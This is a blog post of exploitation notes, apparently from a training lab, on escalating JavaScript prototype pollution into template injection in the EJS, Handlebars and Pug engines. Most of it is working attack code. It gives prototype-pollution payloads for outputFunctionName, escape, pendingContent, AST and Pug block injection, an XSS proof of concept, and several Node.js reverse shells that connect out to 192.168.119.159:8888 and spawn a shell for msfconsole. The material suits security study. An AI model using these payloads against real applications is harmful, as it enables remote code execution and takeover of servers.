Template Injection (To escalate Prototype Pollution)

R3zk0n · October 2, 2025

Contents

    EJS

    • Interactive Node: docker-compose -f ~/chips/docker-compose.yml exec chips node
    • Interactive Node Debugger: docker-compose -f ~/chips/docker-compose.yml exec chips node --inspect=0.0.0.0:9228
    let ejs = require('ejs');
    let template = ejs.compile("Hello, <%= foo %>", {})
    template({"foo":"world"})
    ejs.render("Hello, <%= foo %>", {"foo":"world"}, {})
    

    Observe Crash

    • Find oracle vector - a value that is unassigned by default, which will be called if assigned - even calling the prototype (Object.prototype.escape)
      • options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
      • Use regex to search if statements: if[ ]+\([a-zA-Z]+\.[a-zA-Z]+\)[ ]+\{
    • Test using Interactive Node: ```javascript o = { … “escape” : function (x) { ….. console.log(“Running escape”); ….. return x; ….. } … }

    ejs.render(“Hello, <%= foo %>”, {“foo”:”world”}, o) // Running escape\n ‘Hello, world’

    
    **Other Vectors**
      + `prepended += '  var ' + opts.outputFunctionName + ' = __append;' + `
      + Test Interactive: `ejs.render("hello <% echo('world'); %>", {}, {outputFunctionName: 'echo'});`
      + Ensure payload is valid: `var x = 1; WHATEVER_JSCODE_WE_WANT ; y = __append;'`
    
    **RCE**
      + `console.log(process.mainModule.require('child_process').execSync('whoami').toString());`
      + `(function(){var net = require("net");cp = require("child_process");sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(8888, "192.168.119.159", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();`
      + ` var x = global.process.mainModule.require;(function(){var net = x('net');cp = x('child_process');sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(8888, '192.168.119.159', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();;`
      + msfconsole to receive the shell
    
    ## Handlebars
      + `TEMPLATING_ENGINE=hbs docker-compose -f ~/chips/docker-compose.yml up`
      + handlebars/compiler directory
    
    

    Handlebars = require(“handlebars”) ast = Handlebars.parse(“hello {{ foo }}”) Handlebars.parse(ast)

    precompiled = Handlebars.precompile(ast) eval(“compiled = “ + precompiled) hello = Handlebars.template(compiled) hello({“foo”: “student”})

      
      + Location: `if (this.pendingContent) {content = this.pendingContent + content;`
      + Create proof of concept using XSS
    
    **Bypass Filters**
      + `{}.__proto__.pendingContent = "singleQuote: ' DoubleQuote: \" "`
      + `this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));` --> QuotedString
      + Test all literals:
        + `ast = Handlebars.parse('{{someHelper "some string" 12345 true undefined null}}')`
        + `ast.body[0].params[1]`
      + If debugging, catch all exceptions!
     
    ```javascript
    "__proto__": 
    {
      "type": "Program",
      "body":[
        {
          "type": "MustacheStatement",
          "path":0,
          "loc": 0,
          "params":[
            {
              "type": "NumberLiteral",
              "value": "console.log(process.mainModule.require('child_process').execSync('whoami').toString())" 
            } 
          ]
        }
      ]
    }
    

    Pug

    const pug = require('pug');
    
    Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
    
    const source = `h1= msg`;
    
    var fn = pug.compile(source, {});
    var html = fn({msg: 'It works'});
    
    console.log(html); // <h1>It works<script>alert(origin)</script></h1>
    

    image

    Regex if[ ]+\([a-zA-Z]+\.[a-zA-Z]+\)[ ]+\{

    "__proto__":{"block": {"type":"Text","line":"net = global.process.mainModule.require('net'), sh = global.process.mainModule.require('child_process').exec('/bin/bash'), client = new net.Socket(), client.connect(8888, '192.168.119.159', function() {client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})"}}
    

    Twitter, Facebook